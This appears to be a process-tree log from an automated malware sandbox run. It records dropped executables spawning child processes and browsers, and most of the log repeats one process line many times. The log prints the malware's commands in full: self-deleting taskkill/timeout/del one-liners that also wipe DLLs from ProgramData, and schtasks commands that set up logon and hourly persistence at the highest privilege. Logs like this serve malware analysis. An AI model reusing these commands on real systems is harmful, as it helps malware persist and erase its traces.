C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 29064 -s 244⤵
- Program crash
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 30460 -s 244⤵
- Program crash
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exeC:\Users\Admin\Documents\XqWCCUXJD3SL0eVrjwP835FS.exe3⤵
-
C:\Users\Admin\Documents\vibKc0F9sMr3HW5E3dsZbcrm.exe"C:\Users\Admin\Documents\vibKc0F9sMr3HW5E3dsZbcrm.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=93.0.4577.63 --initial-client-data=0xc8,0xcc,0xd0,0xa4,0xd4,0x7ffd0460a380,0x7ffd0460a390,0x7ffd0460a3a04⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1832,13896024714846135015,3198724402845526199,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1844 /prefetch:24⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1832,13896024714846135015,3198724402845526199,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1908 /prefetch:84⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1832,13896024714846135015,3198724402845526199,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2516 /prefetch:14⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1832,13896024714846135015,3198724402845526199,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2508 /prefetch:14⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1832,13896024714846135015,3198724402845526199,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1896 /prefetch:84⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1832,13896024714846135015,3198724402845526199,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=2 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3432 /prefetch:14⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1832,13896024714846135015,3198724402845526199,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3564 /prefetch:14⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1832,13896024714846135015,3198724402845526199,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3596 /prefetch:14⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1832,13896024714846135015,3198724402845526199,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3588 /prefetch:14⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1832,13896024714846135015,3198724402845526199,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5224 /prefetch:84⤵
-
C:\Program Files\Google\Chrome\Application\93.0.4577.63\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\93.0.4577.63\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --channel=stable --force-configure-user-settings4⤵
-
C:\Program Files\Google\Chrome\Application\93.0.4577.63\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\93.0.4577.63\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=93.0.4577.63 --initial-client-data=0x240,0x244,0x248,0x21c,0x24c,0x7ff748596ee0,0x7ff748596ef0,0x7ff748596f005⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --field-trial-handle=1832,13896024714846135015,3198724402845526199,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5364 /prefetch:84⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1832,13896024714846135015,3198724402845526199,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3392 /prefetch:84⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1832,13896024714846135015,3198724402845526199,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3296 /prefetch:24⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C taskkill /F /PID 3088 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\vibKc0F9sMr3HW5E3dsZbcrm.exe"3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /PID 30884⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C taskkill /F /PID 3088 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\vibKc0F9sMr3HW5E3dsZbcrm.exe"3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /PID 30884⤵
- Kills process with taskkill
-
C:\Users\Admin\Documents\sESY91JEVsE3WTwiqa3XtOdv.exe"C:\Users\Admin\Documents\sESY91JEVsE3WTwiqa3XtOdv.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\2349883.exe"C:\Users\Admin\AppData\Roaming\2349883.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\1111657.exe"C:\Users\Admin\AppData\Roaming\1111657.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\1251436.exe"C:\Users\Admin\AppData\Roaming\1251436.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\8500963.exe"C:\Users\Admin\AppData\Roaming\8500963.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\sNkTblinrlq2kPml3ZtF0WB3.exe"C:\Users\Admin\Documents\sNkTblinrlq2kPml3ZtF0WB3.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im sNkTblinrlq2kPml3ZtF0WB3.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\sNkTblinrlq2kPml3ZtF0WB3.exe" & del C:\ProgramData\*.dll & exit3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im sNkTblinrlq2kPml3ZtF0WB3.exe /f4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Documents\80xZc0N6ntVTx2jU4_2jwHUh.exe"C:\Users\Admin\Documents\80xZc0N6ntVTx2jU4_2jwHUh.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 820 -s 14563⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\DrjWG6j3GQJaGYEO4I9nwupp.exe"C:\Users\Admin\Documents\DrjWG6j3GQJaGYEO4I9nwupp.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe"C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4468 -s 244⤵
- Program crash
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6348 -s 244⤵
- Program crash
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9176 -s 244⤵
- Program crash
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST4⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Documents\J77cmUgJX0OQi4nZtiqUPG2L.exe"C:\Users\Admin\Documents\J77cmUgJX0OQi4nZtiqUPG2L.exe"4⤵
-
C:\Users\Admin\Documents\LGvk1kP7LLefOvr1seJmA8tF.exe"C:\Users\Admin\Documents\LGvk1kP7LLefOvr1seJmA8tF.exe"5⤵
-
C:\Users\Admin\Documents\Cuc7NWzhRcAFgHQhB2yLjp9G.exe"C:\Users\Admin\Documents\Cuc7NWzhRcAFgHQhB2yLjp9G.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\3232202.exe"C:\Users\Admin\AppData\Roaming\3232202.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\3487038.exe"C:\Users\Admin\AppData\Roaming\3487038.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\7090488.exe"C:\Users\Admin\AppData\Roaming\7090488.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\7518777.exe"C:\Users\Admin\AppData\Roaming\7518777.exe"6⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
